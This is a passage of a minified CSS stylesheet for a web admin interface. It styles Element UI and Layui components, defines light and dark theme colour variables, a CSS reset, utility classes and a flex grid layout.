.el-radio__inner{background:var(--color-primary);border-color:var(--color-primary)}.el-checkbox__input.is-checked+.el-checkbox__label{color:var(--color-primary)}.el-checkbox__input.is-focus .el-checkbox__inner{border-color:var(--color-primary)}.el-checkbox__input.is-focus+.el-checkbox__label{color:var(--color-primary)}.el-radio__input.is-checked+.el-radio__label{color:var(--color-primary)}.el-radio__label{font-size:var(--font-size)}.el-table tr th .cell{font-size:var(--font-size)}.el-table .ascending .sort-caret.ascending{border-bottom-color:var(--color-primary)}.el-table .descending .sort-caret.descending{border-top-color:var(--color-primary)}.el-drawer__open .el-drawer__header{padding:10px;border-bottom:1px solid #eee;margin-bottom:0}.el-drawer__open .el-drawer__body{padding:10px;display:block;position:relative}.el-drawer__open .el-drawer__body .body{position:absolute;top:0;right:0;bottom:0;left:0;overflow:auto;padding:20px;padding-bottom:50px}.el-drawer__open .el-drawer__body .foot{position:absolute;bottom:0;left:0;right:0;padding:10px;background:#fff;border-top:1px solid #eee;text-align:right}.te-toolbar-section{height:40px}.te-toolbar-section .tui-editor-defaultUI-toolbar{padding:0 5px}.te-toolbar-section .tui-editor-defaultUI-toolbar button{margin:8px 5px;outline:0}.te-toolbar-section .tui-editor-defaultUI-toolbar .tui-toolbar-divider{margin:13px 0}.te-toolbar-section .tui-editor-defaultUI-toolbar button.tui-scrollsync{display:none!important}.el-loading-spinner i{color:#fff;font-size:30px}.el-loading-spinner .el-loading-text{color:#fff;font-size:12px}.el-loading-spinner{margin-top:-15px}.el-loading-spinner .circular{width:30px;height:30px}.el-drawer__close-btn{line-height:20px;outline:0!important}.el-tabs__item.is-active{color:var(--color-primary)}.el-tabs__item:hover{color:var(--color-primary)}.el-tabs__active-bar{background-color:var(--color-primary)}.ub-form .line .field label.el-radio{border:none}.el-textarea__inner{padding:5px}.el-date-editor.el-input.el-date-editor--date{width:7rem}.el-date-editor.el-input.el-date-editor--datetime{width:10rem}.el-date-editor.el-input .el-input__inner{text-align:center}.el-date-editor.el-range-editor{padding-right:0}.el-date-editor.el-range-editor.el-date-editor--datetimerange{width:16rem}.el-date-editor.el-range-editor.el-date-editor--daterange{width:11rem}.el-date-editor.el-range-editor .el-range-input{flex-grow:1}.el-date-editor.el-range-editor .el-input__icon,.el-date-editor.el-range-editor .el-range-separator{width:auto}.el-date-editor.el-range-editor .el-range__close-icon{display:none}.el-picker-panel .el-picker-panel__body .el-picker-panel__content{padding:8px}.el-picker-panel .el-picker-panel__body .el-picker-panel__content .el-date-range-picker__header div{font-size:var(--font-size)}.el-picker-panel.el-date-picker{width:222px}.el-picker-panel.el-date-picker .el-picker-panel__content{margin:5px;width:210px}.el-picker-panel.el-date-picker .el-date-picker__time-header .el-input__inner{height:24px;line-height:24px;font-size:var(--font-size-small);text-align:center}.el-picker-panel.el-date-picker .el-date-picker__header{margin:5px}.el-picker-panel.el-date-picker .el-date-picker__header .el-date-picker__header-label,.el-picker-panel.el-date-picker .el-date-picker__header .el-picker-panel__icon-btn{font-size:var(--font-size-small)}.el-picker-panel.el-date-range-picker{width:502px}.el-picker-panel.el-date-range-picker.has-sidebar{width:592px}.el-picker-panel.el-date-range-picker .el-picker-panel__body{min-width:500px;width:500px}.el-picker-panel.el-date-range-picker .el-date-range-picker__time-header .el-input__inner{height:24px;line-height:24px;font-size:var(--font-size-small);text-align:center}.el-picker-panel.el-date-range-picker .el-picker-panel [slot=sidebar]+.el-picker-panel__body,.el-picker-panel.el-date-range-picker .el-picker-panel__sidebar+.el-picker-panel__body{margin-left:90px}.el-picker-panel.el-date-range-picker .el-picker-panel__sidebar{width:90px}.el-picker-panel.el-date-range-picker .el-picker-panel__sidebar .el-picker-panel__shortcut{font-size:var(--font-size-small)}.el-radio-group label{margin-bottom:0}.ub-form .line .field label.el-radio-button{padding:0;border:none}.el-dropdown{font-size:var(--font-size)}.el-dropdown .el-button-group .el-button--default:focus,.el-dropdown .el-button-group .el-button--default:hover{border-color:#dcdfe6}input:-webkit-autofill{-webkit-box-shadow:0 0 0 1000px #fff inset}@media screen and (max-width:40rem){.el-message-box{max-width:80%}}.pb-el-select-confirm-box{height:33px}.pb-el-select-confirm-box .pb-el-select-confirm-box-bar{padding:5px 10px;position:absolute;bottom:0;left:0;right:0;background:#fff;border-top:1px solid #eee;text-align:right}.pb-el-select-confirm-box .pb-el-select-confirm-box-bar button{height:22px;line-height:20px;padding:0 10px}.el-radio-button__orig-radio:checked+.el-radio-button__inner{background-color:var(--color-primary);border-color:var(--color-primary);-webkit-box-shadow:-1px 0 0 0 var(--color-primary);box-shadow:-1px 0 0 0 var(--color-primary)}.el-avatar{vertical-align:middle}.el-cascader .el-input__inner:read-only{background-color:var(--color-input-light-bg)}.el-cascader-panel .el-cascader-node{height:28px;line-height:28px}.el-cascader-panel .el-cascader-node>.el-radio{margin-top:12px}.el-input-number__decrease:hover:not(.is-disabled)~.el-input .el-input__inner:not(.is-disabled),.el-input-number__increase:hover:not(.is-disabled)~.el-input .el-input__inner:not(.is-disabled){border-color:#ddd}.layui-table-tool-temp{padding-right:0}.layui-tree-icon{box-sizing:content-box;border-radius:7px}.layui-tree-iconClick .layui-icon.layui-icon-file{font-size:14px}.layui-laydate{font-size:var(--font-size)}.layui-form-radio{margin-top:0}.layui-form-radio *{font-size:var(--font-size)}.layui-layer-tips i.layui-layer-TipsB,.layui-layer-tips i.layui-layer-TipsT{border-right-color:transparent!important;left:2px;pointer-event:none}.layui-layer-tips i.layui-layer-TipsB{border-bottom-color:#333;top:-13px}.layui-layer-tips i.layui-layer-TipsT{border-top-color:#333;bottom:-13px}.layui-tree-txt{text-decoration:none!important}.layui-table-cell,.layui-table-view .layui-table[lay-size=sm] .layui-table-cell{height:auto}.layui-table-cell p{margin-bottom:0}.layui-table,.layui-table-view{margin:0}.layui-table-view .layui-table td{padding:10px 0}.layui-table-body .layui-none{background:#fff}.layui-table-body [data-index] [data-field="0"] [data-checked-order]{position:absolute;top:.1rem;left:.1rem;min-width:1rem;height:1rem;text-align:center;color:var(--color-primary);border:.05rem solid var(--color-primary);border-radius:50%;font-size:var(--font-size-small);line-height:.9rem}.layui-table-tips-c{padding:0}.layui-table-view .layui-table-init .layui-icon{top:var(--layui-table-loading-top,50%)}.layui-form-switch{box-sizing:content-box}.layui-colorpicker-main-input .layui-btn-container .layui-btn{margin:0}.layui-table td,.layui-table th{font-size:inherit}.ub-lister-search .layui-form-select{width:7rem}.layui-table{color:var(--color-text)}.layui-table th{font-weight:700}.layui-table-header th .layui-table-cell{position:relative}.layui-table-header th .layui-table-cell:after{content:'';display:block;position:absolute;width:1px;bottom:0;right:5px;top:0;background-image:linear-gradient(to bottom,#fff,#eee,#fff)}.layui-table-tool .layui-inline[lay-event]{border:none;color:#666;background-color:#f7f7f7;box-shadow:0 0 1px #ccc;border-radius:.2rem}.layui-table-tool .layui-inline[lay-event]:hover{border:none}.layui-table-tool .layui-btn-container .btn{margin-right:.2rem}.layui-layer-iframe{border-radius:.5rem;overflow:hidden}.layui-layer-dialog{border-radius:.5rem}.layui-layer-dialog.layui-layer-msg{background:var(--color-content-bg);color:var(--color-text);border-radius:.5rem;box-shadow:0 6px 16px 0 rgba(0,0,0,.08),0 3px 6px -4px rgba(0,0,0,.12),0 9px 28px 8px rgba(0,0,0,.05);pointer-events:all;border:none}.layui-layer-dialog.layui-layer-msg .layui-layer-content{padding:.5rem .5rem .5rem 2rem}.layui-layer-dialog.layui-layer-msg .layui-layer-content .layui-layer-face{top:.5rem;left:.5rem;font-size:1rem}.layui-layer-dialog.layui-layer-msg .layui-layer-content .layui-icon-success{color:#16b777}.ms-field-image-grid{display:block;height:2.1rem;box-sizing:border-box;vertical-align:middle;text-align:center}.ms-field-image-grid img{height:2rem;max-width:2rem;display:inline-block;margin-top:1px;box-shadow:0 0 1px #ccc;border-radius:3px;object-fit:contain}:root,page{--color-primary:var(--theme-color-primary, #3555CC);--color-primary-light:var(--theme-color-primary-light, #afbceb);--color-primary-light-bg:var(--theme-color-primary-light-bg, #eceffa);--color-primary-dark:var(--theme-color-primary-dark, #2f4cb9);--color-success:#3bb346;--color-success-dark:#30953b;--color-success-light:#ecf7ec;--color-warning:#fc8800;--color-warning-dark:#d26700;--color-warning-light:#fff8ea;--color-danger:#f93920;--color-danger-dark:#d52515;--color-danger-light:#fef2ed;--color-link:#0064fa;--color-link-light:#6ba7f5;--color-link-dark:#004ca5;--color-link-hover:#004ca5;--color-tertiary:#6b7075;--color-tertiary-dark:#555b61;--color-tertiary-light:#c6cacd;--color-input-placeholder:#C4CFDB;--color-text:var(--theme-color-text, #34495e);--color-text-reverse:var(--theme-color-text-reverse, #FFFFFF);--color-muted:#C4CFDB;--color-body-bg:var(--theme-color-body-bg, #F4F6F8);--color-content-bg:var(--theme-color-content-bg, #FFFFFF);--color-body-line:var(--theme-color-body-line, #E5E9EE);--color-input-bg:var(--theme-color-input-bg, #F4F4F4);--color-input-light-bg:var(--theme-color-input-bg, #FFFFFF);--color-body-block-bg:#F7F7F7;--color-body-block-bg-hover:#eaeaea;--color-body-block:#666666;--color-body-block-hover:#595959;--color-mask:rgba(0, 0, 0, 0.5);--color-scrollbar-bg:#FFFFFF;--scolor-scrollbar-thumb:#B3B3B3;--color-primary-gradient-bg:linear-gradient(45deg, var(--color-primary) 0%, var(--color-primary-light) 150%);--icon-arrow:url('data:image/svg+xml;utf8,');--box-shadow:0 4px 8px 0 rgba(0, 0, 0, 0.05);--size-radius:var(--theme-size-radius, 0.4rem);--size-margin:var(--theme-size-margin, 0.5rem);--size-margin-lg:var(--theme-size-margin-lg, 2rem);--size-padding:var(--theme-size-padding, 0.5rem);--font-size-root:var(--theme-font-size-root, 20px);--font-size:var(--theme-font-size, 0.65rem);--font-size-lh:var(--theme-font-size, 0.715rem);--font-size-medium:var(--theme-font-size, 0.8rem);--font-size-large:var(--theme-font-size-large, 1rem);--font-size-small:var(--theme-font-size-small, 0.6rem);--container-width:var(--theme-container-width, 60rem)}[data-theme=dark],[data-theme=dark] page,[data-theme=dark]:root{--color-link:#a3a7bb;--color-link-hover:#cacdda;--color-body-bg:#151728;--color-content-bg:#1b1e32;--color-body-line:#424554;--color-text:#a3a7bb;--color-input-placeholder:#80859f;--color-input-bg:#1b1e32;--color-input-light-bg:#1b1e32;--color-muted:#80859f;--color-body-block-bg:#545767;--color-body-block-bg-hover:#9396a8;--color-body-block:#F8F8F8;--color-body-block-hover:#FFFFFF;--color-mask:rgba(240, 240, 240, 0.5)}@media (prefers-color-scheme:dark){[data-theme=auto],[data-theme=auto] page,[data-theme=auto]:root{--color-body-bg:#151728!important;--color-content-bg:#1b1e32!important;--color-body-line:#424554!important;--color-text:#a3a7bb!important;--color-input-placeholder:#80859f!important;--color-input-bg:#1b1e32!important;--color-input-light-bg:#1b1e32!important;--color-muted:#80859f!important;--color-body-block-bg:#545767!important;--color-body-block-bg-hover:#9396a8!important;--color-body-block:#F8F8F8!important;--color-body-block-hover:#FFFFFF!important}}*,::after,::before{box-sizing:border-box;outline:0}html{-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;-ms-overflow-style:auto;-webkit-tap-highlight-color:transparent}@-ms-viewport{width:device-width}article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;line-height:1.5;text-align:left}[tabindex="-1"]:focus{outline:0!important}hr{box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}dfn{font-style:italic}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:var(--color-link);text-decoration:none;background-color:transparent;-webkit-text-decoration-skip:objects;transition:color .3s ease-in-out,background-color .3s ease-in-out,border-color .3s ease-in-out}a.default{color:var(--color-text)}a:hover{color:var(--color-link-hover)}a:not([href]):not([tabindex]):focus{outline:0}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}pre{margin-top:0;margin-bottom:1em;overflow:auto;-ms-overflow-style:auto}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg:not(:root){overflow:hidden}table{border-collapse:collapse}caption{padding-top:.75rem;padding-bottom:.75rem;color:#6c757d;text-align:left;caption-side:bottom}th{text-align:inherit}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{padding:0;border-style:none}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=date],input[type=datetime-local],input[type=month],input[type=time]{-webkit-appearance:listbox}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:none}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none!important}html{font-size:var(--font-size-root);font-family:"Segoe UI","Lucida Grande",Helvetica,Arial,"Microsoft YaHei",FreeSans,Arimo,"Droid Sans","wenquanyi micro hei","Hiragino Sans GB","Hiragino Sans GB W3",FontAwesome,sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;background-color:var(--color-body-bg);color:var(--color-text)}body{font-size:.65rem;font-weight:400}body.scroll-lock{overflow:hidden}.iconfont{font-size:inherit}code,pre{padding:.25rem;font-size:.6rem;-webkit-border-radius:var(--size-radius,.25rem);-moz-border-radius:var(--size-radius,.25rem);border-radius:var(--size-radius,.25rem)}pre{border:1px solid var(--color-body-line)}a.ub-text{color:#333}a.ub-text:hover{text-decoration:underline}.margin-top-lg{margin-top:var(--size-margin-lg,2rem)!important}.margin-top{margin-top:var(--size-margin,.5rem)!important}.margin-top-remove{margin-top:0!important}.margin-left{margin-left:var(--size-margin,.5rem)!important}.margin-left-remove{margin-left:0!important}.margin-bottom{margin-bottom:var(--size-margin,.5rem)!important}.margin-bottom-lg{margin-bottom:var(--size-margin-lg,2rem)!important}.margin-bottom-remove{margin-bottom:0!important}.margin-right{margin-right:var(--size-margin,.5rem)!important}.margin-right-remove{margin-right:0!important}.ub-padding{padding:var(--size-margin,.5rem)!important}.padding-top{padding-top:var(--size-margin,.5rem)!important}.padding-bottom{padding-bottom:var(--size-margin,.5rem)!important}.padding-bottom-remove{padding-bottom:0!important}.ub-container,.ub-mobile-container{max-width:var(--container-width,57rem);margin-left:auto;margin-right:auto;padding-left:calc(var(--size-margin)/ 2);padding-right:calc(var(--size-margin)/ 2)}.ub-container.narrow,.ub-mobile-container.narrow{max-width:30rem}.ub-container.narrow-lg,.ub-mobile-container.narrow-lg{max-width:40rem}.ub-mobile-container{max-width:30rem;box-shadow:0 0 5px #ccc}.ub-color-a{color:coral!important}.ub-bg-a{background-color:coral!important;color:#fff!important}.ub-color-b{color:#dc143c!important}.ub-bg-b{background-color:#dc143c!important;color:#fff!important}.ub-color-c{color:#9932cc!important}.ub-bg-c{background-color:#9932cc!important;color:#fff!important}.ub-color-d{color:#b22222!important}.ub-bg-d{background-color:#b22222!important;color:#fff!important}.ub-color-e{color:#daa520!important}.ub-bg-e{background-color:#daa520!important;color:#fff!important}.ub-color-f{color:#ff69b4!important}.ub-bg-f{background-color:#ff69b4!important;color:#fff!important}.ub-color-g{color:#20b2aa!important}.ub-bg-g{background-color:#20b2aa!important;color:#fff!important}.ub-color-h{color:#9370db!important}.ub-bg-h{background-color:#9370db!important;color:#fff!important}.ub-color-i{color:#3cb371!important}.ub-bg-i{background-color:#3cb371!important;color:#fff!important}.ub-color-j{color:#7b68ee!important}.ub-bg-j{background-color:#7b68ee!important;color:#fff!important}.ub-color-k{color:#c71585!important}.ub-bg-k{background-color:#c71585!important;color:#fff!important}.ub-color-l{color:#191970!important}.ub-bg-l{background-color:#191970!important;color:#fff!important}.ub-color-m{color:#ff8c00!important}.ub-bg-m{background-color:#ff8c00!important;color:#fff!important}.ub-color-n{color:#db7093!important}.ub-bg-n{background-color:#db7093!important;color:#fff!important}.ub-color-o{color:peru!important}.ub-bg-o{background-color:peru!important;color:#fff!important}.ub-color-p{color:#bc8f8f!important}.ub-bg-p{background-color:#bc8f8f!important;color:#fff!important}.ub-color-q{color:violet!important}.ub-bg-q{background-color:violet!important;color:#fff!important}.ub-color-r{color:#8b4513!important}.ub-bg-r{background-color:#8b4513!important;color:#fff!important}.ub-color-s{color:salmon!important}.ub-bg-s{background-color:salmon!important;color:#fff!important}.ub-color-t{color:#2e8b57!important}.ub-bg-t{background-color:#2e8b57!important;color:#fff!important}.ub-color-u{color:#6b8e23!important}.ub-bg-u{background-color:#6b8e23!important;color:#fff!important}.ub-color-v{color:tomato!important}.ub-bg-v{background-color:tomato!important;color:#fff!important}.ub-color-w{color:#ed3f14!important}.ub-bg-w{background-color:#ed3f14!important;color:#fff!important}.ub-color-x{color:#4f7ff3!important}.ub-bg-x{background-color:#4f7ff3!important;color:#fff!important}.ub-color-y{color:#6a46bd!important}.ub-bg-y{background-color:#6a46bd!important;color:#fff!important}.ub-color-z{color:#e9bd6c!important}.ub-bg-z{background-color:#e9bd6c!important;color:#fff!important}:root,page{--color-a:#FF7F50;--color-b:#DC143C;--color-c:#9932CC;--color-d:#B22222;--color-e:#DAA520;--color-f:#FF69B4;--color-g:#20B2AA;--color-h:#9370DB;--color-i:#3CB371;--color-j:#7B68EE;--color-k:#C71585;--color-l:#191970;--color-m:#FF8C00;--color-n:#DB7093;--color-o:#CD853F;--color-p:#BC8F8F;--color-q:#EE82EE;--color-r:#8B4513;--color-s:#FA8072;--color-t:#2E8B57;--color-u:#6B8E23;--color-v:#FF6347;--color-w:#ED3F14;--color-x:#4F7FF3;--color-y:#6A46BD;--color-z:#E9BD6C}.ub-bg-primary{background-color:var(--color-primary)!important}.ub-bg-white{background-color:#fff!important}.ub-bg-vip{background-color:#e9bd6c!important;color:#fff!important}.ub-cursor-pointer{cursor:pointer!important}.ub-text-truncate{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.ub-text-bold{font-weight:700}.ub-text-white{color:#fff!important}.ub-text-muted{color:var(--color-muted)!important}.ub-text-primary{color:var(--color-primary)!important}.ub-border-primary{border-color:var(--color-primary)!important}.ub-text-default{color:var(--color-text)!important}.ub-text-success{color:var(--color-success)!important}.ub-text-warning{color:var(--color-warning)!important}.ub-text-danger{color:var(--color-danger)!important}.ub-text-tertiary{color:var(--color-tertiary)!important}.ub-text-lg{font-size:1rem!important}.ub-text-sm{font-size:.6rem!important}.ub-text-xs{font-size:.5rem!important}.ub-text-center{text-align:center!important}.ub-text-right{text-align:right!important}.ub-text-left{text-align:left!important}.ub-text-no-wrap{white-space:nowrap}.ub-block{display:block}.ub-display-none{display:none}.ub-inline-block{display:inline-block}.ub-box-shadow{box-shadow:0 .2rem .9rem #2f536d1f}.ub-content-bg{background-color:var(--color-content-bg)}.ub-content-box{background-color:var(--color-content-bg);border-radius:var(--size-radius);padding:var(--size-padding)}.ub-content-block{background-color:var(--color-body-block-bg);color:var(--color-body-block)}.ub-content-block:hover{background-color:var(--color-body-block-bg-hover);color:var(--color-body-block)}.ub-border{border:1px solid var(--color-body-line)}.ub-border-bottom{border-bottom:1px solid var(--color-body-line)}.ub-border-top{border-top:1px solid var(--color-body-line)}.ub-h-full{min-height:100vh}.ub-header-mobile+.ub-h-full,c-page-header+.ub-h-full,c-page-header-search+.ub-h-full{min-height:calc(100vh - 50px)}@media (max-width:40rem){.ub-display-none-sm{display:none!important}.ub-display-block-sm{display:block!important}.ub-text-center-sm{text-align:center!important}}.body-scroll-lock{overflow:hidden}.body-scroll-lock body{overflow:hidden}.body-scroll-lock .body-scroll-lock-hide{visibility:hidden}.body-scroll-lock .body-scroll-lock-none{display:none}@-ms-viewport{width:device-width}html{box-sizing:border-box;-ms-overflow-style:auto}*,::after,::before{box-sizing:inherit}.row{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:calc(0px - var(--size-margin)/ 2);margin-left:calc(0px - var(--size-margin)/ 2);box-sizing:border-box}.no-gutters{margin-right:0;margin-left:0}.no-gutters>.col,.no-gutters>.col-1,.no-gutters>.col-10,.no-gutters>.col-11,.no-gutters>.col-12,.no-gutters>.col-2,.no-gutters>.col-3,.no-gutters>.col-4,.no-gutters>.col-5,.no-gutters>.col-6,.no-gutters>.col-7,.no-gutters>.col-8,.no-gutters>.col-9,.no-gutters>.col-auto,.no-gutters>.col-lg,.no-gutters>.col-lg-1,.no-gutters>.col-lg-10,.no-gutters>.col-lg-11,.no-gutters>.col-lg-12,.no-gutters>.col-lg-2,.no-gutters>.col-lg-3,.no-gutters>.col-lg-4,.no-gutters>.col-lg-5,.no-gutters>.col-lg-6,.no-gutters>.col-lg-7,.no-gutters>.col-lg-8,.no-gutters>.col-lg-9,.no-gutters>.col-lg-auto,.no-gutters>.col-md,.no-gutters>.col-md-1,.no-gutters>.col-md-10,.no-gutters>.col-md-11,.no-gutters>.col-md-12,.no-gutters>.col-md-2,.no-gutters>.col-md-3,.no-gutters>.col-md-4,.no-gutters>.col-md-5,.no-gutters>.col-md-6,.no-gutters>.col-md-7,.no-gutters>.col-md-8,.no-gutters>.col-md-9,.no-gutters>.col-md-auto,.no-gutters>.col-sm,.no-gutters>.col-sm-1,.no-gutters>.col-sm-10,.no-gutters>.col-sm-11,.no-gutters>.col-sm-12,.no-gutters>.col-sm-2,.no-gutters>.col-sm-3,.no-gutters>.col-sm-4,.no-gutters>.col-sm-5,.no-gutters>.col-sm-6,.no-gutters>.col-sm-7,.no-gutters>.col-sm-8,.no-gutters>.col-sm-9,.no-gutters>.col-sm-auto,.no-gutters>.col-xl,.no-gutters>.col-xl-1,.no-gutters>.col-xl-10,.no-gutters>.col-xl-11,.no-gutters>.col-xl-12,.no-gutters>.col-xl-2,.no-gutters>.col-xl-3,.no-gutters>.col-xl-4,.no-gutters>.col-xl-5,.no-gutters>.col-xl-6,.no-gutters>.col-xl-7,.no-gutters>.col-xl-8,.no-gutters>.col-xl-9,.no-gutters>.col-xl-auto{padding-left:0;padding-right:0}.col,.col-1,.col-10,.col-11,.col-12,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-auto,.col-lg,.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-auto,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-auto,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-auto,.col-xl,.col-xl-1,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-auto{position:relative;width:100%;min-height:.05rem;padding-right:calc(var(--size-margin)/ 2);padding-left:calc(var(--size-margin)/ 2);box-sizing:border-box}.col{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-flex-container{display:flex;flex-wrap:wrap;justify-content:space-between;gap:0 .5rem}.col-flex-item{flex-grow:1}.col-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-1{-webkit-box-flex:0;-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-2{-webkit-box-flex:0;-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-4{-webkit-box-flex:0;-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-5{-webkit-box-flex:0;-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-7{-webkit-box-flex:0;-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-8{-webkit-box-flex:0;-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-1{margin-left:8.333333%}.offset-2{margin-left:16.666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.333333%}.offset-5{margin-left:41.666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.333333%}.offset-8{margin-left:66.666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.333333%}.offset-11{margin-left:91.666667%}@media (min-width:0px){.col-sm{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-sm-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-sm-1{-webkit-box-flex:0;-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-sm-2{-webkit-box-flex:0;-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-sm-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-sm-4{-webkit-box-flex:0;-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-sm-5{-webkit-box-flex:0;-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-sm-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-sm-7{-webkit-box-flex:0;-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-sm-8{-webkit-box-flex:0;-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-sm-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-sm-10{-webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-sm-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-sm-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 